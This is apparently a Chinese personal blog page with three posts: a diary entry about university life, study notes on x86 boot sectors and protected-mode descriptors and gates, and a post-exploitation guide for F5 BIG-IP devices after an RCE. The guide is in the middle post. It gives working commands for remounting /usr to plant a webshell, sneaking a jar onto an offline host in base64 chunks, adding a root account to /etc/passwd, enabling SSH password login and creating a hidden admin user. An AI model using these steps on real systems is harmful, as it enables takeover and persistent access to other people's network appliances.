2020-09-14 | 随便写的什么奇怪的东西
吐槽
好久没写博客了,疫情到现在也好久了。
一瞬间大二就那么过去了啊,疫情呆在家的几个月的回忆在刚来学校的半个月内就冲淡了。
仿佛那几个月压根没发生过一样,不知不觉就大三了,记忆中还停留在大二的时候。总感觉十分的亏。
刚来学校第一周就是各种考试,主修考试+其他小考试,都是大二网课没办法考的东西的余留。
不出意外的主修考试器乐演奏拿了个段一,其实我是没想过拿段一的,就是普普通通上去考了,本以为要两三天才会出成绩,结果早上考完晚上成绩就出来了,十分的离谱。
一到开学就又是烦了,烦学习,成绩倒是不怎么担心,担心的是各种其他考试,比如教师资格证考试啊,还有社团等七七八八的。是真的不想管。
疫情过后,视力下降的是最严重的。甚至是肉眼可见的。以前我在宿舍的桌前可以看到字号11的字体,现在已经看的很吃力甚至看不清了。进入大脑消耗过多算力去解析输入,我似乎发现我以前在学校为啥学不好了.jpg,以前我也是这样,看到黑板就十分吃力,不是看不见的那种,看不见还好,完全就不鸟他了,就是那种看的见,但是又有点模糊,你的大脑就会消耗算力去解析输入,然后看久了就头疼,很难受。
不过好在我之前一直以为我眼镜会不会到了900度。。不过试了同学650度的眼镜感觉还差不多。。还好还好还不至于900度成为瞎子。
技术方面好久没精进了,特别是理论方面,疫情在家就纯实践了。。当然实践也确实实践到了许多东西(,不过感觉自己还是太菜了,希望能加油吧,总之就这样了
2020-07-09 | 技术文章
起因
这次这个RCE还好,说不好用它给的权限是root,说好用能打的又很少,大部分还不出网,ssh又连不上。复现我也不复现了,分析我也不分析。exp网络上一大把,我就说说怎么加个webshell吧。
毕竟大部分机器都是不出网,你ssh开不进去,反弹又反弹不出来。不过既然你能打exp,那么说明就是web是开启的,我们唯一的好方法自然就是加个webshell了。
写webshell
web路径在/usr/local/www/tmui
下,但是默认路径会被redict到login.jsp
,所以我们可以写到静态文件目录,也就是/usr/local/www/tmui/tmui/login/images/
下面,当然直接写过去肯定是不行的,因为/usr
权限是ro。
访问webshell
我们得执行mount -o remount rw /usr
重新挂载/usr,这样我们才有权限写webshell。写了webshell,开开心心的访问,你肯定会看到大大的
,根据90老哥的指点,我们得放一个ecj-4.4.jar包上去,放的路径记住是/usr/share/tomcat/lib
,放到这下面。
如果你可以 出网,那么好说,直接用curl从远程下载一份到这个目录就行,如果不能出网,恭喜你,我的解决办法是把这个jar先base64,然后分割成30份,然后30分轮流echo 输出到远程/tmp/tmp.txt下,然后再用(cat /tmp/tmp.txt|base64 -d) > /usr/share/tomcat/lib/ecj-4.4.jar
,由于网络/exp的缘故,成功率十分的感人。
之后得重启tomcat,如何重启呢?这个big-ip自带了重启命令,直接运行/usr/bin/restart_tomcat
就行。
提权
提权就简单很多了,直接echo "abcd:advwtv/9yU5yQ:0:0:root:/home/abcd:/bin/bash" >>/etc/passwd
这样我们就能在冰蝎用控制台直接su提权了
如果ssh允许出网
那么简单许多了,ssh配置路径在/config/ssh/sshd_config
下
设置了PAM。不允许证书和密码登陆,所以我们要先用命令修改
sed -i "s/UsePAM yes/UsePAM no/g" /config/ssh/sshd_config
sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g" /config/ssh/sshd_config
service sshd restart
然后就可以利用上面写入/etc/passwd的东西来进行ssh登陆了
如果SSH登陆。可以尝试运行这个tmsh create auth user baka2 password baka@bie123 partition-access add { all-partitions { role admin } }
,运行后会在https添加用户。即可登陆bigip的web控制台,在路由哪里设置allow就行
2020-06-15 | 技术文章
前言
又到了学习的时候了,上次记笔记是在2017年学汇编的时候。
记录的笔记挺有用,既能加深印象,又能再需要用的时候随时翻出来查,也能证明自己确实是学过了。
话不多说,开始吧
boot
扇区512字节,结尾是0xaa55
7c00
主引导内存地址。至于为什么。
参考:
为什么主引导记录的内存地址是0x7C00?
GDT

// 一个bytes 8字节
struct Descriptor{
segment_Length = new bytes(2),
baseAddress = new bytes(3),
attr = new bytes(2),
}
实模式/保护模式
实模式寻址方式:
段寄存器 * 16 + 偏移( 16 bit )
保护模式寻址:
selector:偏移
selector = 指向GDTde偏移->从GDT中找到32位基地址
实模式到保护模式
- 准备GDT
- 用lgdt加载gdtr
- 打开A20
- 进入保护模式
LDT
和GDT一样,不过一个是全局一个是局部。只不过selector的TI位置必须设置为1
使用lldt加载
什么是保护模式?保护在哪?
每个段地址被gdt表限制,不能超出访问
每个段的作用也在gdt表中明确指明
门
层级跃迁使用,和LDT,GDT一样都是个结构体
调用门

调用方式:call 调用门
,调用门结构体储存选择子,和偏移,最后调转的的地址是选择子中的基地址加上偏移。
对于call和jmp指令,有着不同的优先级检查规则的:
对call来说:当前CPL<=调用门描述符DPL,RPL<=调用门描述符DPL,当前CPL>=目的代码段描述符DPL;
对jmp来说:除了跟call的“当前CPL<=调用门描述符DPL,RPL<=调用门描述符DPL”一样外,如果目的代码段的一致的话,CPL>=目的代码段的DPL,而如果目的代码段是非一致的话,CPL=目的代码段的DPL。
另外,只有call指令可以将代码通过调用门转移到特权级更高的非一致性代码之中。对于非一致性代码的成功转移,CPL被目的代码的DPL刷新,会引起堆栈切换;对于一致性代码,不会刷新,也不会切换。
调用门的作用是,让一个代码段中的过程被不同特权级的程序访问。通常用于低特权级代码来访问高特权级的代码段。
- «
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- ...
- 59
- »
文章总数:176篇 分类总数:4个